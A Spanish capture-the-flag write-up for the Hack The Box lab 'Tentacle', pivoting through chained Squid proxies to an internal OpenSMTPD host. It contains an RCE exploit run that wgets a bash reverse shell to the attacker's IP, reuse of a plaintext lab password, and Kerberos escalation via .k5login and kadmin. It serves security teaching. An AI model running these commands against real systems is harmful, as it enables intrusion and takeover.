🐙 Tentacle | WriteUp

🐙 Tentacle | WriteUp

Sergiky

En esta máquina vamos a navegar por diferentes Squid proxies para acabar encontrando un servicio vulnerable del cuál nos aprovecharemos para obtener acceso al sistema y posteriormente escalar privilegios abusando de kerberos.

Organización

Nos creamos nuestro directorio de trabajo para ordenar todas las fases realizadas en esta intrusión.

En mi caso tengo un script llamado mkt nivel de .zshrc que me permite crear la estructura de trabajo correspondiente:

1
2
3
4
mkt () {
mkdir {recog,play,data}
touch "$(pwd | awk -F "/" '{print $NF}')-write-up.md"
}

Reconocimiento

Empezamos con el patrón típico al enfrentarnos a una máquina, comprobaremos si dicha máquina nos responde a una traza ICMP para ver si está activa.

1
ping -c 1 10.10.10.224

Comprobando si el equipo esta activo.
Comprobando si el equipo esta activo.

Recordar que si el TTL no se ha modificado cada sistema operativo tiene uno diferente, ya solo con un simple ping tenemos un indicio de que esta máquina es Linux. Más cerca de 64 Linux, cerca de 128 Windows, más información en subinsb.com.

Procedemos con el típico escaneo de nmap de ‘to’ la vida.

1
sudo nmap -p- --open -sS --min-rate 4500 -vvv -n -Pn 10.10.10.224 -oG allPorts

En este escaneo yo indico que se esta haciendo un -sS(Syn Scan) para dejarlo más claro, pero por defecto cuando se utiliza nmap con privilegios de administrador se utiliza este escaneo, si no se utiliza sT(Syn TCP).

Si utilizamos la herramienta extractPorts(creada por s4vitar) para extraer estos puertos en un formato más legible. Ojo en lugar de utilizar la utilidad xclip utilizo wl-copy.

1
2
3
4
5
6
7
8
9
10
11
extractPorts () {
ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)"
echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
echo $ports | tr -d '\n' | wl-copy
echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
bat extractPorts.tmp
rm extractPorts.tmp
}

Extracción de puertos a la clipboard con extractPorts.
Extracción de puertos a la clipboard con extractPorts.

Con los puertos escaneados podemos tratar de lanzar unos scripts básicos de enumeración y reconocmiento para ver con que nos vamos a pelear.

1
sudo nmap -sCV -p22,53,88,3128 10.10.10.224 -oN targeted

Información obtenida gracias a los scripts de nmap.
Información obtenida gracias a los scripts de nmap.

¿Qué estamos viendo?

  • Servicio ssh disponible, versión OpenSSH 8.0, no mucho por hacer aquí de momento.
  • Servicio dns: Podemos enumerar información y intentar hacer un axfr(ataque de transferencia de zona)
  • Servicio kerberos. Se me ocurre enumeración de usuarios por fuerza bruta, pero vamos a seguir avanzando.
  • Servicio squid proxy. Vemos que dispone de un header y title, interesante.
  • Service Info: Host: REALCORP.HTB -> El encabezado Host nos indica el nombre de un dominio.

Virtual Hosting: Un servidor puede tener puede servir múltiples sitios web diferentes con solo una IP.

En la configuración de algunos servidores web esperan un nombre de dominio o subdominio en lugar de una IP, por eso lo añadimos al fichero fichero /etc/hosts que asocia el nombre con la IP indicada.

1
10.10.10.224 REALCORP.HTB

Vamos a echarle un primer vistazo al servicio web del squid proxy. Nos metemos a un navegador web e inspeccionamos la página(podemos acceder a ella mediante 10.10.10.224 o realcorp.htb)

Vistazo web del squid proxy.
Vistazo web del squid proxy.

Aquí podemos apreciar información de utilidad como un correo electrónico del “cache administrator”(un correo con el nombre de un usuario y el dominio empresarial.) También un poquito más abajo nos encontramos que este error ha sido generado por “srv01.realcorp.htb” lo que parece ser el nombre del servidor que esta alojando este servicio entre otros. Lo añadiremos también al fichero /etc/hosts.

Ah recomiendo documentar todas las pruebas encontradas correos, servicios… Puede que nos haga falta posteriormente.

Enumeración dns

Vemos que el servicio dns está disponible, así que vamos a realizar una enumeración básica para ver que podemos obtener.

Realizamos una consulta dns básica al servidor para ver con que nos responde:

1
dig @10.10.10.224 realcorp.htb

Consulta dns estándar.
Consulta dns estándar.

No podemos sacar gran información de aquí aunque se puede ver un root.realcorp.htb, lo tendremos en cuenta y seguimos con la enumeración.

Pedimos información sobre los name server:

1
dig @10.10.10.224 realcorp.htb ns

Obtención de información sobre los name server.
Obtención de información sobre los name server.

Encontramos ns.realcorp.htb con un registro A con la IP 10.197.243.77. Mmm curioso, una IP a la que no podemos llegar de momento por el segmento de red donde estamos situados.

Seguimos enumerando, vamos los “mail server”

1
dig @10.10.10.224 realcorp.htb mx

Enumeración de los servidores de correo.
Enumeración de los servidores de correo.

Volvemos a ver root.realcorp.htb

Ataque de transferencia de zona

Vamos a probar a realizar una ataque de transferencia de zona para obtener todos los registros DNS del dominio.

Para ello ejecutamos el siguiente comando:

1
dig @10.10.10.224 realcorp.htb axfr

Intento fallido de ataque de transferencia de zona.
Intento fallido de ataque de transferencia de zona.

dnsenum

Con la herramienta dnsenum vamos a realizar fuerza bruta para intentar enumerar subdominios a través del DNS.

1
2
dnsenum --dnsserver 10.10.10.224 --thread 50 -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt real
corp.htb

Enumeración de subdominios.
Enumeración de subdominios.

Podemos ver que encontramos más subdominios: proxy.realcorp.htb con la ip 10.197.243.77 y wpad.realcorp.htb con 10.197.243.31.

Recopilamos, tenemos lo siguiente:

  • root.realcorp.htb
  • 10.197.243.77 ns.realcorp.htb
  • 10.197.243.77 proxy.realcorp.htb
  • 10.197.243.31 wpad.realcorp.htb

Vamos a meterlo todo al archivo /etc/hosts excepto el root.realcorp.htb

¿Cómo podemos llegar a dichas IPs?… ¿Y si intentamos usar el squid proxy?

Enumeración Squid Proxy

¿Cómo enumeramos un squid proxy? ¿Qué podemos hacer con él?

Objetivos a probar con el squid proxy

  • Checkear si podemos ver algún puerto que no se pueda ver desde el exterior.
  • Comprobar si podemos alcanzar alguna IP obtenida anteriormente.
  • Probar a alcanzar alguna IP vista anteriormente utilizando la tarjeta de red interna en lugar de la externa.

Bien, para ello vamos a utilizar proxychains y su archivo de configuración /etc/proxychains.conf y vamos a añadir al final del todo la siguiente línea:

1
http    10.10.10.224 3128

Descubrir puertos que no se pueden ver desde el exterior

Con esto estamos indicando que queremos pasar por este proxy web para ver si encontramos algo más. La idea es mirar si existe algún servicio abierto que no podemos ver desde el exterior.

1
proxychains -q nmap -sT -vvv -n -Pn 127.0.0.1

Puedes ver los proxies por los que va pasando sin el parámetro -q.

Puertos abiertos en dicho servidor por la interfaz de localhost.
Puertos abiertos en dicho servidor por la interfaz de localhost.

Podemos ver el puerto 464, 749 nuevos.

Si realizamos un escaneo de scripts y versiones básicas sobre dichos puertos vemos lo siguiente:

Scripts básicos de reconocimiento y versión.
Scripts básicos de reconocimiento y versión.

De esos servicios no vamos a conseguir nada, así que seguimos avanzando en nuestra enumeración.

Intentar alcanzar otras IPs

Pasamos al segundo objetivo, intentar alcanzar las IPs obtenidas desde el squid proxy.

1
2
proxychains -q nmap -sT -Pn -n -v 10.197.243.77
proxychains -q nmap -sT -Pn -n -v 10.197.243.31

Bueno, ningún escaneo nos devuelve nada, así que nada se acaba la máquina aquí, gracias por leer el writeup.

Intentar alcanzar otras IPs cambiando al adaptador interno

Puede que la máquina objetivo a la que nos estamos enfrentando no tenga más dispositivos que podamos ver. Las máquinas pueden tener una tarjeta de red externa y otra interna, nosotros estamos usando la externa y si mandamos el tráfico a través de la interna ¿veremos más máquinas?

Diagrama de lo que llevamos.
Diagrama de lo que llevamos.

Para usar la interfaz interna vamos a añadir a nuestro archivo /etc/proxychains.conf la siguiente línea:

1
127.0.0.1   3128

De momento tendríamos estas dos en este orden:

1
2
http    10.10.10.224 3128
http 127.0.0.1 3128

Y checkear que estéis usando strict_chain para que se ejecuten los proxies en el orden que indicamos.

Si realizamos un escaneo ahora con nmap, veremos que si logramos alcanzar la ip 10.197.243.31.

1
proxychains -q nmap -sT -n -Pn -v 10.197.243.77

Escaneo de nmap a proxy.realcorp.htb
Escaneo de nmap a proxy.realcorp.htb

Si considerás que el escaneo va muy lento puedes crearte un script en bash para agilizarlo:

1
2
3
4
5
6
#!/usr/bin/env bash

for port in $(seq 1 65525); do
proxychains -q timeout 1 bash -c "echo '' > /dev/tcp/10.197.243.77/$port" 2>/dev/null && echo "[+] $port - OPEN" &
done; wait

En cambio la IP 10.197.243.31(wpad.realcorp.htb) no devuelve ningún puerto abierto, así que podemos imaginar que no llegamos o no tiene ningún puerto tcp abierto.

Bueno, hemos visto que la máquina que podemos ver también tiene el puerto squid proxy abierto, así que podemos añadirlo a nuestro /etc/proxychains para ver si alcanzamos dicho equipo que nos queda o descubrimos alguno más.

Squid proxy interno encontrado.
Squid proxy interno encontrado.

Y intentamos llegar al servidor wpad.realcorp.htb con el script realizado(recomiendo lanzarlo varias veces, puede que no aparezca toda la información necesaria o se salte algún puerto)

Puertos abiertos en el equipo wpad.realcorp.htb.
Puertos abiertos en el equipo wpad.realcorp.htb.

Diagrama con el equipo wpad.
Diagrama con el equipo wpad.

Genial, podemos ver que llegamos al servidor. Podemos ver que el puerto 80 esta abierto, http, esto me interesa, para ver el contenido de la página podemos lanzar un simple curl.

1
proxychains -q curl http://10.197.243.31/

Si lo haces al nombre del dominio sale un 403 Forbidden:

1
proxychains -q curl http://wpad.realcorp.htb

Con la IP aparece una página por defecto de red hat y nginx, en cambio con el dominio vemos que se esta realiando virtual hosting y obtenemos un 403 forbidden, si investigamos más sobre lo que es wpad y acabamos en la página de hacktricks.boitatech.com.br podemos ver que los clientes para que carguen la configuación automáticamente del proxy acceden por defecto a /wpad.dat, así que vamos a probar a hacer un curl de esta ruta.

1
proxychains -q curl -s http://wpad.realcorp.htb/wpad.dat | bat -l js

Contenido del archivo wpad.dat.
Contenido del archivo wpad.dat.

Y vemos dos rangos diferentes, el rango que 10.197.243.0 ya lo tenemos(de ahí sale proxy y wpad), en cambio, el rango 10.241.251.0 es nuevo.

Bien, pues a partir de aquí tenemos dos caminos, la máquina wpad también tenía el puerto 3128 abierto, podemos intentar ver nuevos activos en la nueva subred utilizando la tarjeta de red interna como hemos visto anteriormente.

O podemos intentar establecer contacto directamente con esta nueva subred.

Lo primero sería modificar el script anterior para que también detecte hosts y para que sea más rápido haremos que solo vea algunos puertos:

1
2
3
4
5
6
7
#!/usr/bin/env bash

for port in 21 22 25 53 80 88 443 445 8080 8081; do
for i in $(seq 1 254); do
proxychains -q timeout 1 bash -c "echo '' > /dev/tcp/10.241.251.$i/$port" 2>/dev/null && echo "[+] Port $port - OPEN on host 10.241.251.$i" &
done
done; wait

Después añadiremos la línea 127.0.0.1 a la configuración de proxychains para ver si podemos enumerar hosts en ese rango desde el adaptador interno.

Si ejecutamos vemos que nos comememos un mojón y no detecta nada, puedes probar con otros puertos, etc, pero ya te adelanto que no vas a conseguir nada.

Así que si si quitamos la línea del archivo de configuración de proxychains y lanzamos otra vez el script veremos que nos detecta dos hosts:

Escaneo de hosts y puertos sobre la nueva subred.
Escaneo de hosts y puertos sobre la nueva subred.

Vemos dos máquinas, uan con el puerto 22 y otra con el puerto 25(por defecto smtp, correo).

La máquina con el puerto 25 abierto me interesa más, así que vamos a lanzar unos scripts básicos de nmap para obtener más información.

1
proxychains -q nmap -p25 -sCV 10.241.251.113

Información extra del servicio que corre en dicho puerto.
Información extra del servicio que corre en dicho puerto.

Si utilizamos la herramienta searchsploit podemos encontrar que el servicio esta desactualizado y existe un script basntante peligroso e interesante para nosotros. Al disponer de un servicio de una versión menor podríamos probar a ejecutarlo.

Buscamos exploits para el servicio OpenSMTPD.
Buscamos exploits para el servicio OpenSMTPD.

Red entera de la máquina.
Red entera de la máquina.

Explotación

Uso de RCE para OpenSNMPD

Bien, pues ya tenemos el primer exploit a probar sobre una máquina, vamos a inspeccionar el código del script y nos lo descargamos(searchsploit -x <path> para inspeccionar y m <path> para descargar).

¿Cómo podemos probarlo? Pues bien, nos podemos abrir un servidor en python y intentar enviar una petición http desde el servidor víctima.

Nos ponemos en escucha con python:

1
sudo python3 -m http.server 80
1
proxychains -q python3 rce_smtpd.py 10.241.251.113 25 "wget 10.10.14.22"

Intento fallido del exploit.
Intento fallido del exploit.

Vemos que por abajo no ha llegado nada, ¿porque?. Vamos a revisar el código del script.

El usuario que se indica para enviar el correo es root.
El usuario que se indica para enviar el correo es root.

Recordemos que al principio, al visualizar la página del primer squid proxy, nos daba un usuario, el usuario “j.nakazawa@realcorp.htb“.

Kerbrute para validar usuarios

Podemos chekear si el usuario existe gracias al servicio kerberos corriendo en la primera máquina, para ello utilizaremos la herramienta kerbrute:

1
kerbrute userenum --domain realcorp.htb --dc 10.10.10.224 ../data/users.txt

Checkar si el usuario encontrado existe con kerbrute.
Checkar si el usuario encontrado existe con kerbrute.

Es más, no solo es que exista, si no también no tiene el pre-auth activado y nos dumpea el hash. Podéis intentar a crackerlo con john o hashcat, pero no vais a obtener la contraseña.

Modificación del exploit

Vamos a cambiar el usuario root por este ya que hemos visto que es válido.

Modificación del script en python.
Modificación del script en python.

Si probamos a ejecutar ahora vemos que si llega una conexión, con lo cuál podemos verificar que el exploit funciona.

Verificación exitosa del RCE.
Verificación exitosa del RCE.

Si pruebas con curl o wget http://… no llegará la petición… Me quedo con la curiosidad de como el equipo resuelve las peticiones para que solo funcione con wget IP.

Obteniendo una shell

Bien, ahora tenemos varias formas de ganar un acceso, podemos intentar enviar una reverse shell directamente, pero he probado de diferentes maneras y no me ha djeado, por lo tanto voy a crear un archivo index.html para descargarlo con wget en un directorio con permisos como /tmp o /dev/shm y ejecutarlo.

Archivo index.html

1
2
3
#!/usr/bin/env bash

bash -i >& /dev/tcp/10.10.14.22/80 0>&1

Ejecutamos el exploit y nos descargamos la reverse shell en la máquina víctima.

1
proxychains -q python3 rce_smtpd.py 10.241.251.113 25 "wget 10.10.14.22 -O /dev/shm/rev.sh"

En lugar de un servidor en python nos ponemos a la escucha con netcat.

1
sudo nc -nlvp 80

Ejecutamos la reverse shell:

1
bash /dev/shm/rev.sh

Obteniendo la reverse shell.
Obteniendo la reverse shell.

Tratamiento de la tty

El tratamiento es como siempre

1
2
3
4
5
6
script /dev/null -c bash
stty raw -echo; fg
reset xterm

export TERM=xterm
export SHELL=bash

Y si vaís a utilizar algún editor como nano, vi… Tenéis que ajustar el tamaño de la terminal:

1
2
3
4
5
6
# En tu consola que tenga el mismo tamaño
stty size # saldrán dos valores, filas y columnas.

# En la consola de la víctima
stty rows x
stty columns x

Escalada de privilegios

Si nos vamos al directorio /home/j.nakazawa podemos ver un archivo oculto llamado .msmtprc, en el podemos ver el usuario j.nakazawa y la contraseña en texto claro “sJB}RM>6Z~64_”

Credenciales del usuario j_nakazawa.
Credenciales del usuario j_nakazawa.

Somos usuario root sobre esta máquina(smtp.realcorp.htb).

Si recordarmos, en la primera máquina el servicio ssh estaba habilitado, podemos intentar autenticarnos con dicho usuario, pero vemos que no reconoce la contraseña, pero ¿y si gastamos los tres intentos permitidos que mensaje de error nos aparece?, ¿si utilizamos ssh con la flag -v de verbose que podemos ver?

Bien, pues a mi me llama la atención lo siguiente:

Error de ssh al gastar los tres intentos.
Error de ssh al gastar los tres intentos.

Vemos algo raro, algo fuera de lo común, gssapi-keyex… ¿que es esto?. Vamos a buscarlo en internet. En esta entrada de wikipedia podemos ver que este mecanismo se utiliza con Kerberos.

Para utilizar ssh con kerberos como cliente debemos realizar los siguientes pasos:

  1. Checkear si tenemos instalado el paquete krb5.

  2. Modificar el fichero /etc/krb5.conf o crearlo si no existe con dpkg-reconfigure krb5-config. Se quedaría así:

1
2
3
4
5
6
7
8
9
10
11
12
[libdefaults]
default_realm = REALCORP.HTB

[realms]
# use "kdc = ..." if realm admins haven't put SRV records into DNS
REALCORP.HTB = {
kdc = srv01.realcorp.htb
}

[domain_realm]
.REALCORP.HTB = REALCORP.HTB
REALCORP.HTB = REALCORP.HTB
  1. Generamos un TGT(Ticket Granting Ticket) con la herramienta kinit, puedes comprobar si tienes algún ticket antes con klist:

Estar como superusuario para ejecutar las siguientes tareas para el correcto funcionamiento.

1
sudo kinit j.nakazawa@REALCORP.HTB # Pones la contraseña: sJB}RM>6Z~64_

Comprobamos el ticket generado con klist.
Comprobamos el ticket generado con klist.

1
sudo ssh -o GSSAPIAuthentication=yes j.nakazawa@srv01.realcorp.htb

Dentro del servidor principal.
Dentro del servidor principal.

Si quieres borrar los tickets puedes utilizar kdestroy.

j.nakazawa -> admin

La flag esta situada en /home/j.nakazawa/user.txt.

Podemos localizar otro usuario bajo directorio /home, pero no tenemos acceso a él. Si listamos las tareas programadas del sistema veremos que existe un script.

1
cat /etc/crontab

Crontab del equipo.
Crontab del equipo.

Si le echamos un ojo al script vemos que otros tienen capacidad de lectura sobre este.

Contenido del script.
Contenido del script.

Con rsync envía todos el contenido del directorio /var/log/squid al directorio /home/admin/ al home del usuario admin. Después comprime algunos ficheros como access.log y cache.log y los elimina.

Podemos aprovecharnos de que se esta empleando kerberos para generar un fichero .k5login que nos permita indicar los principals que estan autorizados a acceder a ese usuario local.

Entonces si nos vamos a la ruta “/var/log/squid”, comprobamos los permisos que tenemos sobre él.

Como estamos en el grupo squid(comando id) podemos acceder y escribir en el directorio, pero no listar.

Así que accedemos a él y creamos el fichero:

1
2
cd /var/log/squis
echo 'j.nakazawa@REALCORP.HTB' > .k5login

Y ahora si intentamos conectarnos por ssh.

1
sudo ssh -o GSSAPIAuthentication=yes admin@srv01.realcorp.htb

Esto funciona gracias al TGT creado anteriormente como el usuario j.nakazawa, el cuál tiene permiso para acceder como admin gracias al fichero .k5login añadido gracias a la tarea cron.

Entramos como el usuario admin.
Entramos como el usuario admin.

admin -> root

Vemos que estamos en el grupo admin con el comando id.
Y si buscamos ficheros que tengan el grupo admin:

1
find / -type f -broup admin 2>/dev/null | grep -vE "proc|cgroup"

Encontramos el siguiente fichero sospechoso “/etc/krb5.keytab”. Este fichero se utiliza para autenticar a los usuarios ante el KDC. Este fichero solo debe tener acceso el usario root, pero nosotros como admin también podemos leerlo(aunque sea un binario).

Entonces vamos a ver las herramientas de kerberos, tenemos ksu que nos sirve para obtener privilegios como root normalmente, si la usamos nos pide la contraseña de root y no la tenemos, ni tampoco un ticket, así que cancelamos.

Tenemos el comando klist para ver los tickets, pero no nos deja ejecutarlo, pero el comando klist nos permite pasar un keytab y ver los principals almecandos en él.

Lista de principals en el keytab.
Lista de principals en el keytab.

Podemos utilizar la herramienta kadmin que nos sirve para administrar el servidor de kerberos

1
kadmin -kt /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB

Y entramos a una consola interactiva, si usamos el caracter ? podremos ver los comandos a ejecutar.

Entre ellas vemos la opción de add_principal/add_princ. ¿Entonces si añadimos el principal de root? ¿Podremos resetear la contraseña?

1
addprinc root@REALCORP.HTB

Efectivamente, sobreescribimos el principal root con este nuevo que nos estamos creando.

Creación de principal root con nueva contraseña.
Creación de principal root con nueva contraseña.

Si volvemos a ejecutar ksu y introducimos la misma contraseña.

Utilizando ksu para entrar como root y mostrar la flag.
Utilizando ksu para entrar como root y mostrar la flag.

Fuentes

Basado en el write-up de s4vitar

Comentarios